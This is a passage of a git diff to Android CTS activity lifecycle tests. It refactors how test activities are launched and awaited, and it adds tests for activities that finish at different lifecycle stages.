-        // Wait for second activity to become resumed
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
         // Wait for first activity to become stopped
-        waitAndAssertActivityStates(occludedActivityState(trackingActivity, secondActivity));
+        waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
 
         // Call "recreate" and assert sequence
         getLifecycleLog().clear();
         getInstrumentation().runOnMainSync(trackingActivity::recreate);
-        waitAndAssertActivityStates(occludedActivityState(trackingActivity, secondActivity));
+        waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
 
         final List<LifecycleLog.ActivityCallback> callbacks;
         if (isTranslucent(secondActivity)) {
@@ -568,8 +691,8 @@
         builder.execute();
 
         // Start activity in another process to put original activity in background.
-        mFirstActivityTestRule.launchActivity(new Intent());
-        final boolean isTranslucent = isTranslucent(mFirstActivityTestRule.getActivity());
+        final Activity testActivity = launchActivityAndWait(FirstActivity.class);
+        final boolean isTranslucent = isTranslucent(testActivity);
         mAmWmState.waitForActivityState(
                 targetActivity, isTranslucent ? STATE_PAUSED : STATE_STOPPED);
 
@@ -596,29 +719,26 @@
     @Test
     public void testLocalRecreate() throws Exception {
         // Launch the activity that will recreate itself
-        Activity recreatingActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
+        final Activity recreatingActivity = launchActivityAndWait(SingleTopActivity.class);
 
         // Launch second activity to cover and stop first
-        Activity secondActivity = mSecondActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for first activity to become stopped
-        final boolean secondActivityIsTranslucent = ActivityInfo.isTranslucentOrFloating(
-                secondActivity.getWindow().getWindowStyle());
-        waitAndAssertActivityStates(
-                occludedActivityState(recreatingActivity, secondActivityIsTranslucent),
-                state(secondActivity, ON_RESUME));
+        // Wait for first activity to become occluded
+        waitAndAssertActivityStates(state(recreatingActivity, ON_STOP));
 
         // Launch the activity again to recreate
         getLifecycleLog().clear();
-        final Intent intent = new Intent(mContext, SingleTopActivity.class);
-        intent.putExtra(EXTRA_RECREATE, true);
-        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(intent);
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setExtraFlags(EXTRA_RECREATE)
+                .launch();
 
         // Wait for activity to relaunch and resume
         final List<LifecycleLog.ActivityCallback> expectedRelaunchSequence;
-        if (secondActivityIsTranslucent) {
+        if (isTranslucent(secondActivity)) {
             expectedRelaunchSequence = Arrays.asList(ON_NEW_INTENT, ON_RESUME,
                     ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST,
                     ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
@@ -638,21 +758,16 @@
     @Test
     public void testOnNewIntent() throws Exception {
         // Launch a singleTop activity
-        final Activity singleTopActivity =
-                mSingleTopActivityTestRule.launchActivity(new Intent());
+        launchActivityAndWait(SingleTopActivity.class);
 
-        // Wait for the activity to resume
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
 
         // Try to launch again
         getLifecycleLog().clear();
-        final Intent intent = new Intent(mContext, SingleTopActivity.class);
-        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(intent);
-
-        // Wait for the activity to resume again
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setNoInstance()
+                .launch();
 
         // Verify that the first activity was paused, new intent was delivered and resumed again
         LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
@@ -663,30 +778,22 @@
     @Test
     public void testOnNewIntentFromHidden() throws Exception {
         // Launch a singleTop activity
-        final Activity singleTopActivity =
-                mSingleTopActivityTestRule.launchActivity(new Intent());
-
-        // Wait for the activity to resume
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+        final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
 
         // Launch something on top
-        final Intent newTaskIntent = new Intent();
-        newTaskIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(newTaskIntent);
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for the activity to resume
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-        waitAndAssertActivityStates(occludedActivityState(singleTopActivity, secondActivity));
+        waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
 
         // Try to launch again
         getLifecycleLog().clear();
-        final Intent intent = new Intent(mContext, SingleTopActivity.class);
-        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(intent);
-
-        // Wait for the activity to resume again
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setNoInstance()
+                .launch();
 
         // Verify that the first activity was restarted, new intent was delivered and resumed again
         final List<LifecycleLog.ActivityCallback> expectedSequence;
@@ -703,24 +810,21 @@
     @Test
     public void testOnNewIntentFromPaused() throws Exception {
         // Launch a singleTop activity
-        final Activity singleTopActivity =
-                mSingleTopActivityTestRule.launchActivity(new Intent());
-
-        // Wait for the activity to resume
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+        final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
 
         // Launch translucent activity, which will make the first one paused.
-        mTranslucentActivityTestRule.launchActivity(new Intent());
+        launchActivityAndWait(TranslucentActivity.class);
 
-        // Wait for the activity to pause
+        // Wait for the activity below to pause
         waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
 
         // Try to launch again
         getLifecycleLog().clear();
-        final Intent intent = new Intent(mContext, SingleTopActivity.class);
-        intent.addFlags(FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP);
-        mTargetContext.startActivity(intent);
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
+                .setNoInstance()
+                .launch();
 
         // Wait for the activity to resume again
         // Verify that the new intent was delivered and resumed again
@@ -730,4 +834,131 @@
         LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
                 expectedSequence, "newIntent");
     }
+
+    @Test
+    public void testFinishInOnCreate() throws Exception {
+        verifyFinishAtStage( ResultActivity.class, EXTRA_FINISH_IN_ON_CREATE,
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_DESTROY), "onCreate");
+    }
+
+    @Test
+    public void testFinishInOnCreateNoDisplay() throws Exception {
+        verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_CREATE,
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_DESTROY), "onCreate");
+    }
+
+    @Test
+    @FlakyTest(bugId=127741025)
+    public void testFinishInOnStart() throws Exception {
+        verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_START,
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_STOP,
+                        ON_DESTROY), "onStart");
+    }
+
+    @Test
+    @FlakyTest(bugId=127741025)
+    public void testFinishInOnStartNoDisplay() throws Exception {
+        verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_START,
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_STOP,
+                        ON_DESTROY), "onStart");
+    }
+
+    @Test
+    @FlakyTest(bugId=127741025)
+    public void testFinishInOnResume() throws Exception {
+        verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_RESUME,
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                        ON_DESTROY), "onResume");
+    }
+
+    @Test
+    public void testFinishInOnResumeNoDisplay() throws Exception {
+        verifyFinishAtStage(NoDisplayActivity.class, EXTRA_FINISH_IN_ON_RESUME,
+                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+                        ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP,
+                        ON_DESTROY), "onResume");
+    }
+
+    private void verifyFinishAtStage(Class<? extends Activity> activityClass,
+            String finishStageExtra, List<LifecycleLog.ActivityCallback> expectedSequence,
+            String stageName) throws Exception {
+        new Launcher(activityClass)
+                .setExpectedState(ON_DESTROY)
+                .setExtraFlags(finishStageExtra)
+                .setNoInstance()
+                .launch();
+
+        waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
+    }
+
+    @Test
+    @FlakyTest(bugId=127741025)
+    public void testFinishInOnPause() throws Exception {
+        verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_PAUSE, "onPause",
+                TranslucentActivity.class);
+    }
+
+    @Test
+    public void testFinishInOnStop() throws Exception {
+        verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_STOP, "onStop",
+                FirstActivity.class);
+    }
+
+    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
+    @Test
+    public void testFinishBelowDialogActivity() throws Exception {
+        verifyFinishAtStage(ResultActivity.class, EXTRA_FINISH_IN_ON_PAUSE, "onPause",
+                TranslucentCallbackTrackingActivity.class);
+    }
+
+    private void verifyFinishAtStage(Class<? extends Activity> activityClass,
+            String finishStageExtra, String stageName, Class<? extends Activity> launchOnTopClass)
+            throws Exception {
+
+        // Activity will finish itself after onResume, so need to launch an extra activity on
+        // top to get it there.
+        new Launcher(activityClass)
+                .setExtraFlags(finishStageExtra)
+                .launch();
+
+        // Launch an activity on top, which will make the first one paused or stopped.
+        launchActivityAndWait(launchOnTopClass);
+
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                LifecycleVerifier.getLaunchAndDestroySequence(activityClass);
+        waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
+    }
+
+    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
+    @Test
+    public void testFinishBelowTranslucentActivityAfterDelay() throws Exception {
+        final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
+
+        launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
+        waitAndAssertActivityStates(state(bottomActivity, ON_PAUSE));
+        getLifecycleLog().clear();
+
+        waitForIdle();
+        bottomActivity.finish();
+        waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
+        LifecycleVerifier.assertEmptySequence(TranslucentCallbackTrackingActivity.class,
+                getLifecycleLog(), "finishBelow");
+    }
+
+    @FlakyTest(bugId=142125019) // Add to presubmit when proven stable
+    @Test
+    public void testFinishBelowFullscreenActivityAfterDelay() throws Exception {
+        final Activity bottomActivity = launchActivityAndWait(CallbackTrackingActivity.class);
+
+        launchActivityAndWait(FirstActivity.class);
+        waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
+        getLifecycleLog().clear();
+
+        waitForIdle();
+        bottomActivity.finish();
+        waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
+        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
+                "finishBelow");
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index b047127..4290ff5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -16,9 +16,11 @@
 
 package android.server.wm.lifecycle;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
@@ -37,8 +39,7 @@
 import static android.server.wm.lifecycle.LifecycleVerifier.transition;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import static androidx.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
@@ -68,23 +69,21 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleTopResumedStateTests
  */
-@FlakyTest(bugId = 117135575)
 @MediumTest
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityLifecycleTopResumedStateTests extends ActivityLifecycleClientTestBase {
 
     @Test
     public void testTopPositionAfterLaunch() throws Exception {
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        launchActivityAndWait(CallbackTrackingActivity.class);
 
         LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
     }
 
     @Test
     public void testTopPositionLostOnFinish() throws Exception {
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
         activity.finish();
@@ -96,13 +95,11 @@
 
     @Test
     public void testTopPositionSwitchToActivityOnTop() throws Exception {
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
-        final Activity topActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(topActivity, ON_TOP_POSITION_GAINED),
-                state(activity, ON_STOP));
+        final Activity topActivity = launchActivityAndWait(SingleTopActivity.class);
+        waitAndAssertActivityStates(state(activity, ON_STOP));
 
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class,
                 CallbackTrackingActivity.class, getLifecycleLog(),
@@ -173,14 +170,12 @@
 
     @Test
     public void testTopPositionSwitchToTranslucentActivityOnTop() throws Exception {
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
-        final Activity topActivity = mTranslucentCallbackTrackingActivityTestRule.launchActivity(
-                new Intent());
-        waitAndAssertActivityStates(state(topActivity, ON_TOP_POSITION_GAINED),
-                state(activity, ON_PAUSE));
+        final Activity topActivity = launchActivityAndWait(
+                TranslucentCallbackTrackingActivity.class);
+        waitAndAssertActivityStates(state(activity, ON_PAUSE));
 
         LifecycleVerifier.assertLaunchSequence(TranslucentCallbackTrackingActivity.class,
                 CallbackTrackingActivity.class, getLifecycleLog(),
@@ -189,16 +184,15 @@
 
     @Test
     public void testTopPositionSwitchOnDoubleLaunch() throws Exception {
-        final Activity baseActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(baseActivity, ON_TOP_POSITION_GAINED));
+        final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
-        final Activity launchForResultActivity = mLaunchForResultActivityTestRule.launchActivity(
-                new Intent());
+        new Launcher(LaunchForResultActivity.class)
+                .setExpectedState(ON_STOP)
+                .setNoInstance()
+                .launch();
 
-        waitAndAssertActivityStates(state(launchForResultActivity, ON_STOP),
-                state(baseActivity, ON_STOP));
+        waitAndAssertActivityStates(state(baseActivity, ON_STOP));
 
         final List<ActivityCallback> expectedTopActivitySequence =
                 Arrays.asList(
@@ -232,14 +226,12 @@
 
     @Test
     public void testTopPositionSwitchOnDoubleLaunchAndTopFinish() throws Exception {
-        final Activity baseActivity = mCallbackTrackingActivityTestRule.launchActivity(
-                new Intent());
-        waitAndAssertActivityStates(state(baseActivity, ON_TOP_POSITION_GAINED));
+        final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
-        final Intent launchAndFinishIntent = new Intent();
-        launchAndFinishIntent.putExtra(EXTRA_FINISH_IN_ON_RESUME, true);
-        mLaunchForResultActivityTestRule.launchActivity(launchAndFinishIntent);
+        final Activity launchForResultActivity = new Launcher(LaunchForResultActivity.class)
+                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+                .launch();
 
         waitAndAssertActivityStates(state(baseActivity, ON_STOP));
         final List<ActivityCallback> expectedLaunchingSequence =
@@ -284,38 +276,36 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionLostWhenDocked() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Launch first activity
-        final Activity firstActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+        final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionSwitchToAnotherVisibleActivity() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Launch first activity
-        final Activity firstActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+        final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
-        final Activity secondActivity = mSingleTopActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for second activity to become top.
-        waitAndAssertActivityStates(state(secondActivity, ON_TOP_POSITION_GAINED),
-                state(firstActivity, ON_RESUME));
+        // Wait for first activity to resume after moving to primary split-screen
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         // First activity must be resumed, but not gain the top position
         LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
                 Arrays.asList(ON_RESUME), "unminimizeDockedStack");
@@ -324,31 +314,31 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionSwitchBetweenVisibleActivities() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Launch first activity
-        final Activity firstActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+        final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
-        final Activity secondActivity = mSingleTopActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity secondActivity = new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for second activity to become top.
-        waitAndAssertActivityStates(state(secondActivity, ON_TOP_POSITION_GAINED),
-                state(firstActivity, ON_RESUME));
+        // Wait for first activity to resume after moving to primary split-screen
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Switch top between two activities
         getLifecycleLog().clear();
-        final Intent switchToFirstIntent = new Intent(mContext, CallbackTrackingActivity.class);
-        switchToFirstIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(switchToFirstIntent);
+        new Launcher(CallbackTrackingActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setNoInstance()
+                .launch();
 
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
                 state(secondActivity, ON_TOP_POSITION_LOST));
@@ -359,9 +349,10 @@
 
         // Switch top again
         getLifecycleLog().clear();
-        final Intent switchToSecondIntent = new Intent(mContext, SingleTopActivity.class);
-        switchToSecondIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(switchToSecondIntent);
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setNoInstance()
+                .launch();
 
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
                 state(secondActivity, ON_TOP_POSITION_GAINED));
@@ -375,14 +366,14 @@
     @Test
     public void testTopPositionNewIntent() throws Exception {
         // Launch single top activity
-        final Activity firstActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+        launchActivityAndWait(SingleTopActivity.class);
 
         // Launch the activity again to observe new intent
         getLifecycleLog().clear();
-        final Intent newIntent = new Intent(mContext, SingleTopActivity.class);
-        newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(newIntent);
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setNoInstance()
+                .launch();
 
         waitAndAssertActivityTransitions(SingleTopActivity.class,
                 Arrays.asList(
@@ -393,22 +384,20 @@
     @Test
     public void testTopPositionNewIntentForStopped() throws Exception {
         // Launch single top activity
-        final Activity singleTopActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+        final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
 
         // Launch another activity on top
-        final Activity topActivity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(singleTopActivity, ON_STOP),
-                state(topActivity, ON_TOP_POSITION_GAINED));
+        final Activity topActivity = launchActivityAndWait(CallbackTrackingActivity.class);
+        waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
 
         // Launch the single top activity again to observe new intent
         getLifecycleLog().clear();
-        final Intent newIntent = new Intent(mContext, SingleTopActivity.class);
-        newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP);
-        mTargetContext.startActivity(newIntent);
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
+                .setNoInstance()
+                .launch();
 
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED),
-                state(topActivity, ON_DESTROY));
+        waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
 
         LifecycleVerifier.assertEntireSequence(Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
@@ -426,39 +415,34 @@
     @Test
     public void testTopPositionNewIntentForPaused() throws Exception {
         // Launch single top activity
-        final Activity singleTopActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED));
+        final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
 
         // Launch a translucent activity on top
-        final Activity topActivity = mTranslucentCallbackTrackingActivityTestRule.launchActivity(
-                new Intent());
-        waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE),
-                state(topActivity, ON_TOP_POSITION_GAINED));
+        final Activity topActivity =
+                launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
+        waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
 
         // Launch the single top activity again to observe new intent
         getLifecycleLog().clear();
-        final Intent newIntent = new Intent(mContext, SingleTopActivity.class);
-        newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP);
-        mTargetContext.startActivity(newIntent);
+        new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
+                .setNoInstance()
+                .launch();
 
-        waitAndAssertActivityStates(state(singleTopActivity, ON_TOP_POSITION_GAINED),
-                state(topActivity, ON_DESTROY));
+        waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
 
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(TranslucentCallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(TranslucentCallbackTrackingActivity.class, ON_PAUSE),
                 transition(SingleTopActivity.class, ON_NEW_INTENT),
                 transition(SingleTopActivity.class, ON_RESUME),
-                transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED),
-                transition(TranslucentCallbackTrackingActivity.class, ON_STOP),
-                transition(TranslucentCallbackTrackingActivity.class, ON_DESTROY)),
-                getLifecycleLog(), "Single top resolution sequence must match");
+                transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
+                "Single top resolution sequence must match");
     }
 
     @Test
     public void testTopPositionSwitchWhenGoingHome() throws Exception {
-        final Activity topActivity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(topActivity, ON_TOP_POSITION_GAINED));
+        final Activity topActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Press HOME and verify the lifecycle
         getLifecycleLog().clear();
@@ -470,25 +454,24 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionSwitchOnTap() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
         // Launch first activity
-        final Activity firstActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
+        final Activity firstActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
 
         // Launch second activity to side
         getLifecycleLog().clear();
-        final Activity secondActivity = mSingleTopActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity secondActivity = new Launcher(SingleTopActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        // Wait for second activity to become top.
-        waitAndAssertActivityStates(state(secondActivity, ON_TOP_POSITION_GAINED),
-                state(firstActivity, ON_RESUME));
+        // Wait for first activity to resume after moving to primary split-screen
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Tap on first activity to switch the focus
         getLifecycleLog().clear();
@@ -518,6 +501,7 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionSwitchOnTapSlowDifferentProcess() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
@@ -651,8 +635,7 @@
 
     @Test
     public void testTopPositionPreservedOnLocalRelaunch() throws Exception {
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
         getInstrumentation().runOnMainSync(activity::recreate);
@@ -663,16 +646,17 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionLaunchedBehindLockScreen() throws Exception {
         assumeTrue(supportsSecureLock());
 
-        final Activity activity;
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
 
-            activity = mCallbackTrackingActivityTestRule.launchActivity(
-                    new Intent());
-            waitAndAssertActivityStates(state(activity, ON_STOP));
+            new Launcher(CallbackTrackingActivity.class)
+                    .setExpectedState(ON_STOP)
+                    .setNoInstance()
+                    .launch();
             LifecycleVerifier.assertLaunchAndStopSequence(CallbackTrackingActivity.class,
                     getLifecycleLog(), true /* onTop */);
 
@@ -680,17 +664,17 @@
         }
 
